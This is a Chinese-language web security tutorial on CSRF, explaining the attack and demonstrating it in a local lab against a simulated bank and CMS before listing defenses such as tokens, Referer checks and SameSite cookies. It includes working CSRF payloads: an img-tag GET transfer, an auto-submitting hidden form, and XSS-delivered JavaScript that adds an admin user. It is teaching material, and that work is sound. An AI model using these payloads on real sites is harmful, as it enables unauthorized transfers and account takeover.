【WEB漏洞原理】CSRF跨站请求伪造

1、CSRF概述

1.1、基本原理

1.1.1、基本概念

跨站请求伪造（Cross Site Request Forgery，CSRF）是一种攻击，它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击，攻击的重点在于更改状态的请求，而不是盗取数据，因为攻击者无法查看伪造请求的响应。

借助于社工的一些帮助，例如，通过电子邮件或聊天发送链接，攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户，则成功的CSRF 攻击可以强制用户执行更改状态的请求，例如转移资金、修改密码等操作。如果受害者是管理账户，CSRF 攻击会危及整个Web 应用程序。

CSRF，跨站域请求伪造，通常攻击者会伪造一个场景（例如一条链接），来诱使用户点击，用户一旦点击，黑客的攻击目的也就达到了，他可以盗用你的身份，以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

和XSS有什么不同？

CSRF是以用户的权限去做事情，自己本身并没有获取到权限；XSS是直接盗取了用户的权限进行攻击。

1.1.2、关键点

• 受害者没有退出登录，受害者保持身份认证。
• CSRF 继承了受害者的身份和特权，代表受害者执行非本意的、恶意的操作。
• CSRF 会借用浏览器中与站点关联的所有身份凭据，例如用户的会话Cookie，IP 地址，Windows 域凭据等。

1.1.3、目标

CSRF 的目标是更改用户账户的状态，攻击者利用CSRF 发送的请求都是更改状态的请求，比如，转账、更改密码，购买商品等等。

CSRF 的场景中，攻击者是没有办法获得服务器的响应。

1.2、CSRF场景

1.2.1、银行支付转账

模拟搭建银行网站http://192.168.80.139/bank/

1.2.2构造虚假网站

构造CSRF 攻击连接

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.80.139/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='金陵十三钗'>

• 攻击者通过 <img> 标签构造GET 请求。

• 浏览器根据 <img> 标签中的SRC属性，请求服务器资源，会自动带上身份认证信息

1.2.3、场景建模

1.3、CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求，是不是就能够防御CSRF 漏洞了呢？

1.3.1、POST方式

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.80.139/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手，谁与争锋</a><br />

1.4、CSRF验证

1.4.1、CSRF PoC Generator

PoC：漏洞验证代码

Burp Suite 自带插件，可以根据请求构造表单，进行CSRF 漏洞验证

修改密码在浏览器中测试

点击Submit request后，密码就会被修改

2、CSRF攻防

2.1、CSRF实战

2.1.1、与XSS 漏洞相结合

先使用BurpSuite工具抓取添加用户的数据包，

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.80.139
Connection: close
Referer: http://192.168.80.139/cms/admin/user.add.php?act=add
Cookie: username=admin; userid=1; PHPSESSID=87u2eq7ctm4468snmmg772vns7
Upgrade-Insecure-Requests: 1

act=add&username=zs&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS 触发CSRF 攻击。因为，可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程，可以构造如下代码：

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.80.139/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=zs&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

把JS代码提交都留言板上

使用管理员用户查看留言板信息，在点击留言板这个选项卡的时候就触发了XSS代码，进行了CSRF跨站攻击

然后使用修改后的密码，登录后台

2.2、CSRF防御

2.2.1、无效防御

• 使用秘密的Cookie
• 仅接收POST 请求
• 多步交易：多步交易，有可能会被恶意攻击者预测
• URL 重写：用户的身份信息会暴露在URL 中，不建议通过引入另外一个漏洞来解决当前漏洞
• HTTPS：所有安全机制的前提

2.2.2、有效防御

1、验证Referer字段

• 当前URL的上一个URL，就是该页面是从那个页面过来的
• 转账页面到转账操作
• 伪造？

2、添加Token验证

3、二次验证：在关键操作之前，再输入密码或者验证码

4、HttpOnly：某些情况下禁止JS 脚本访问Cookie 信息

5、SameSite：Cookie 属性，浏览器自带安全机制

3、靶场练习

DVWA靶场CSRF练习

Pikachu靶场CSRF练习